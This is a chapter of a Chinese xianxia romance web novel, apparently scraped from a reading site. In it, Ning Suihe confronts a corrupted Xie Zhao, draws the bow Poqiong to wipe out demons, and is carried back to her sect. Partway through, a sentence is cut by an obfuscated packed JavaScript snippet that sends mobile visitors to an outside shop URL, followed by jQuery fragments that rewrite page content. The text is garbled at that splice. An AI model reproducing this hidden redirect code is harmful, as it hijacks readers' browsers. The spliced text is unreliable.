宁岁禾沉默着看着面前的人:“又是你。”
“谢昭”抱臂挑眉:“这话应该是我说才对吧?”
他悠悠凑近,像个孩子一样好奇地打量着宁岁禾:“你居然还活着。”
不知是不是跟谢昭待久了,宁岁禾对原著“谢昭”的恐惧几乎消散,她也跟着抱臂:“阴魂不散的,你不会暗恋我吧?”
她打量着面前这人,忽地发现他的境界从上一次见面的渡劫中期,掉到了大乘巅峰。
“谢昭”嗤笑出声:“别做梦了。”
他俯身,笑眯眯地与宁岁禾平视,那双原本清亮的眸子如今即便是笑着也依旧布满阴骘:“我真是对你越来越好奇了,看来你跟你那个谢昭关系还不错?”
说到后面,他表情扭曲了一下,似是不甘:“凭什么?我跟他有什么区别?”
宁岁禾随意道:“你比他坏。”
“谢昭”笑着的眼睛突然冷了下来,眉尾下压,冷冷地盯着宁岁禾:“是我自己想变坏的吗?”
宁岁禾抿唇。
好像不是。
原著中,他被迫入魔,被谢家抛弃,被青霄宗拒之门外。
短短数日,他曾经仰仗的、骄傲的一切都如水中泡影般消散,留下的只剩刀子割肉般的钝痛。
“又来了。”
“谢昭”直起身,他烦躁地拂袖,“你总是对我露出这副怜悯的表情。”
周围开始扭曲,宁岁禾垂着眸,心情莫名沉重:“我只是觉得,你不该是这样的结局。”
谢昭应该是永远高高在上的,永远被所有人称赞追捧的。
他不该莫名其妙地入了魔,不该被所有人抛弃。
宁岁禾下定决心:“我不会让你出事的。”
一切都在消散,面前少女坚毅的面庞也在眼前消失。
“谢昭”怔怔地看着她消失的地方,良久,冷笑了一声:“你救的是我吗?”
语气莫名的,染上了咬牙切齿。
-
两人睁开眼睛,已经身处人间。
谢昭烦躁地吐出一口气,连带着宁岁禾也跟着叹气。
“你看到什么了?”谢昭试探。
宁岁禾哪能说,她打着哈哈:“一些令人烦躁的事情。”
闻言,谢昭也没多说什么,深呼吸几次,抛开了刚刚的画面。
他原地布阵,拉着宁岁禾回了皇城。
魔族散落在城池内外,在被发现的前一秒,谢昭眼疾手快地撕了隐身符,两人的身影瞬间消失,魔族呆了呆,又开始四处巡视。
“看样子,皇城已经被攻陷了?”宁岁禾贴着谢昭的耳朵说。
谢昭摇摇头:“他们聚集在城内一处,周围有很多魔族在试图攻击。”
顿了顿,他皱眉:“应该是纪砚在撑着,几个剑修在外面清扫魔族,但他们应该撑不了太久。”
当务之急,是打开那把镇魔巨弓。
宁岁禾:“那把弓上有谢家的符箓,我们一块去吧。”
谢昭挑眉:“你怎么知道那是谢家的符箓?”
“你说呢。”宁岁禾看他一眼。
谢昭笑了笑,没多说什么。
方才的烦躁恐慌也消散了大半。
两人传到了弓的附近。
那把弓上果然贴着很多符,谢昭粗略看了一眼,基本上都是天品。
他双手结印,侧头提醒:“我撕符箓的时候,灵力会外泄,隐身符就不起作用了,你得尽快射出一箭。”
宁岁禾顿时紧张了起来:“我没把握啊。”
楚惟说了,这把剑是要选命定之人的,宁岁禾不敢肯定自己是它的命定之人。
可如今,其他人都被困在将军府,让他们一个个过来试也不现实。
“那也得有把握。”谢昭慢吞吞结印,“我会帮你撑一会,但时间不多。”
他话音落下,几张符箓应声燃烧,所有魔族猛地看向城墙上。
我靠!
宁岁禾跳起来拉住弓弦:“你怎么也不提前说一声?我还没有准备好!”
“要什么准备?”谢昭面无表情地布阵拦下第一批冲上来的魔族,青玉笔画得飞快,“赶紧的。”
宁岁禾立马使出全身的力气拉弓,但那弓弦却丝毫不动。
她就说自己不是那什么命定之人!
宁岁禾惨叫:“谢昭我拉不开!”
谢昭也急道:“你再试试?难不成我们现在去把天和宗其他几个人都薅过来?”
想想也不可能。
宁岁禾咬牙,一脚踩在弓上,双手紧紧攥住弓弦,额角青筋暴起,脊背肌肉如钢索绞紧。
原本好了些的伤口随着她的使劲寸寸崩裂。
威压极强的气息扩散开来,如同一阵微不可查的风,却能让敏锐的人嗅到血腥气。
将军府内,楚惟倏然抬眼:“什么东西?”
“是破穹。”
满将军皱着眉,急道:“是谁?”
纪砚慢悠悠地擦掉脸上的血迹:“我听家里长辈说,破穹极其傲气,绝不可能认主,哪怕是被誉为天才的宁岁禾。”
所以……是谁?
“给我……开!”宁岁禾咬着牙怒吼。
谢昭震惊回头。
裂帛般的巨响在弓弦上炸开,弓弦竟被硬生生拽满,弓臂弯曲成一道狰狞的弧。箭槽内的玄铁箭自主燃烧,灵力顺着箭尾注入,将那玄铁箭烧得更红。
魔族似是察觉到不对,顿时混乱逃窜起来。
但已经迟了。
此刻,箭在弦上!
箭矢离弦,落在魔族聚集的中央。
一瞬间,以落点为中心,凌冽灵力急速扩散。
灵力所过之处,魔族从指尖开始崩解成灰。
他们的嚎叫还未出口,便随躯体一同烟消云散,连弥漫的魔气都被净化成莹白的光点。
像一场飘落的雪。
箭尾仍在嗡鸣,而天地已寂。
宁岁禾松开通红的手,转头看去。
微风吹过她的碎发,血月隐匿,阴云散去,阳光终于回到人间。
-
宁岁禾险些栽倒,被谢昭扶住,他还处于震惊的状态,讷讷:“还好吗?”
宁岁禾想说不太好,飞雪带来的伤口还没好全,她眼前一阵阵发黑,几乎要晕过去。
“师姐!”几个亲传飞奔着过来。
宁岁禾立马站直了,面上神色不变:“嗯。”
“我去,师姐你刚刚太厉害了!”满关兴奋地看向破穹,跃跃欲试:“我也可以试试吗?”
“当然。”
宁岁禾说话时险些喷出一口血,她一时没站稳,下意识拉住了旁边人的手。
温热的,带着薄茧。
谢昭看了她一眼,不动声色地挡住了其他人的视线。
众人的目光都被破穹吸引,亲传虽然天赋异禀,自小就被告知要承担起拯救世界的责任,但毕竟还只是一群少年,见到这种神器自然好奇地都要冲上来试一试。
一旁的满将军和皇宫的人也好奇,看着他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785586|207511||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
们试破穹还时不时指点一二。
宁岁禾的额头抵在了谢昭的背上。
她闷哼一声。
谢昭抿唇,伸手递了一颗丹药过去。
半晌,后面的人都没动。
谢昭面上露出忧色,试探着用手去寻找宁岁禾的嘴。
指尖触碰到一片柔软,紧接着,少女下意识含住丹药,舌尖舔过他的指尖。
谢昭僵在原地。
“我不行了谢昭。”宁岁禾声音轻轻,“我得晕一会。”
等其他几个人回过神来的时候,两宗首席已经消失在原地了。
传送阵只能穿回人人间与修真界的交界处,后面还是得他们自己走一段路。
宁岁禾已经处于昏昏沉沉的状态了,谢昭只能背着她往天和宗的方向走。
少女安静伏在他背上,柔软的身体紧紧贴着他的。
她似是呓语:“谢昭……”
谢昭:“嗯。”
“谢昭。”
“嗯。”
他不厌其烦地应着,终于等到了宁岁禾的下一句:“你炼的丹药是假的……”
谢昭脚步一顿。
各家都有擅长的东西,比如谢家擅长符箓,纪家擅长阵法,凌家擅长炼丹。一个人可以学会很多种,但必然有的擅长,有的不擅长。
谢昭符箓最强,阵法其次,两者都是修真界的佼佼者,只有炼丹,他是当成业余爱好玩玩的,炼出来的丹自然比不上凌知那种专业丹修炼出来的。
但有丹药吃已经很不错了好吧!
谢昭羞脑成怒:“闭嘴!”
背上的人还在念叨:“谢昭。”
谢昭不应了,他觉得再也不会应这个不知好歹的坏女人的叫唤。
“谢昭。”
“谢昭。”
“谢昭。”
“……”
谢昭无奈:“嗯。”
宁岁禾嘟囔:“你能不能给我灵石,好多好多的灵石……”
谢昭:“……不给。”
然后宁岁禾又开始念叨。
“灵石。”
“灵石。”
“灵石。”
“……”
谢昭认命:“给给给。”
-
宁岁禾醒来的时候,在天和宗自己的院子里。
谢昭在她床头留了一个芥子袋和一杯水,宁岁禾慢吞吞爬起来,从芥子袋里掏出来一堆天品丹药和数不清的灵石。
“哇。”宁岁禾震惊,“谢昭真是个好人。”
这次去人间猝不及防发生了太多事,原本两宗长老说的想让他们下去做做轻松的任务,没想到险些让几个亲传死在那里。
长老们立马慌了神,决定给他们放几天假。
楚惟回了楚家,满关回皇城准备当几个月的国师玩,江夏则不知道溜到哪玩去了。
皇帝大叔特旨破格追赠莫奶奶为诰命夫人任竹喧不了解这些虚名,一并接受,带着莫奶奶的尸骨回了三界喉埋葬。
事毕,竟夕也不见了人影。
宁岁禾陪同了全程,抱着竹喧安慰的时候,只觉得世事变幻无常,人不知什么时候便突然离开了,最后一面是否能见到,或许就差上那么一刻钟。
她也不由得想起来原主的奶奶还没来得及去看。
穿进这个世界好几个月了,宁岁禾都没什么空闲的时间,把任竹喧送回天和宗,她便准备去过去看看。
宁岁禾用谢昭送的灵石买了一堆乱七八糟的补品,大摇大摆下了山。